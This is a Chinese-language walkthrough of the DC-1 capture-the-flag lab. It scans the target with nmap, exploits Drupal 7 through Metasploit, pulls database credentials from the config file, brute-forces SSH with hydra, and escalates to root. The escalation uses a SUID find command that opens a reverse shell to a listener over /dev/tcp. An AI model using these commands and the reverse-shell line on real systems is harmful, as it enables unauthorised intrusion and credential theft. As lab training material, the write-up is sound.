信息收集阶段
(1)搭建好靶场以后,网络适配器调成NAT模式,记录下DC1的MAC地址
(2)开启DC1界面如下,没有账户和密码无法登录
(3)使用nmap进行主机发现,对应MAC地址找到DC1对应IP为192.168.13.160
sudo nmap -sn 192.168.13.1/24
(4)进行端口扫描
sudo nmap -A -p- -sS -T4 192.168.13.160
发现开放端口为 22,80,111
(5)访问80端口,利用插件查看web构架
(6)进行敏感目录扫描
dirsearch -u 192.168.13.160 -i 200
扫描后发现如下目录,但除了发现数据库为mysql外没有其他有用信息
至此信息收集部分完成,发现如下信息:
操作系统:linux
中间件:apache
CMS:drupal 7
数据库:mysql
开发语言:php
渗透测试阶段
尝试是否可以爆破以及注册用户
发现了登陆页面且没有验证码,尝试是否可以爆破以及注册用户
输入错误三次密码以后提示错误太多,稍后再试,无法进行爆破
靶场注册新用户无法把密码发送邮箱注册新用户失败
运行xray进行被动漏洞扫描
_flag1:查询CMS是否有漏洞
(1)启动msf search一下
search drupal 7.x
(2)发现存在漏洞利用模块
(3)进行漏洞利用
use 0
show options
set rhosts 192.168.13.160
show options
run
(4)漏洞利用成功获取到会话,执行一些命令查看一下信息
(5)shell一下执行ls,发现flag1.txt
(6)查看获取flag1
获得提示:好CMS都有配置文件
_flag2:根据提示寻找CMS配置文件
(1)百度查一下drupal 7配置文件所在的目录
(2)我们所在目录就是网站根目录所以直接查找到配置文件 得到flag2
获得提示:爆破不是获得访问权限的唯一方法(您将需要访问权限)
_flag3:根据配置文件用户名和账户访问数据库
(1)根据提示继续阅读配置文件发现数据库信息
(2)连接数据库需要建立交互shell
使用后发现不能查询数据库,在网上查询到要用python建立一个伪终端
python -c 'import pty; pty.spawn("/bin/bash")'
效果如下
(3)连接数据库查询信息
根据数据库->表->列->数据的规则
在drupaldb发现用户表
直接select,发现用户admin
复制密文在线解密
获得用户名:admin,密码:53cr3t 进行用户登录
浏览发现flag3
获得提示:没看懂什么意思,反正既然是查找密码那直接去读敏感文件etc/passwd
_flag4:根据提示寻找密码
flag3的提示没看懂什么意思,好像是找密码。那不管直接去etc/passwd,然后发现了flag4
flag4是一个用户,加上端口扫描开放了22端口直接上hydra,字典用的常见密码top1000
根据用户名和密码远程连接一下ssh然后ls一下发现了flag4.txt
_flag5提权
根据flag4的提示我们需要root权限
提权参考站内文章
kali再开一个端口用nc监听4444(端口号随便)
然后用flag4以特权模式反弹一个shell
find /bin/bash -exec bash -ip >& /dev/tcp/192.168.13.153/4444 0>&1 \;
whoami查看提权成功
进到根目录下的root,发现最终的flag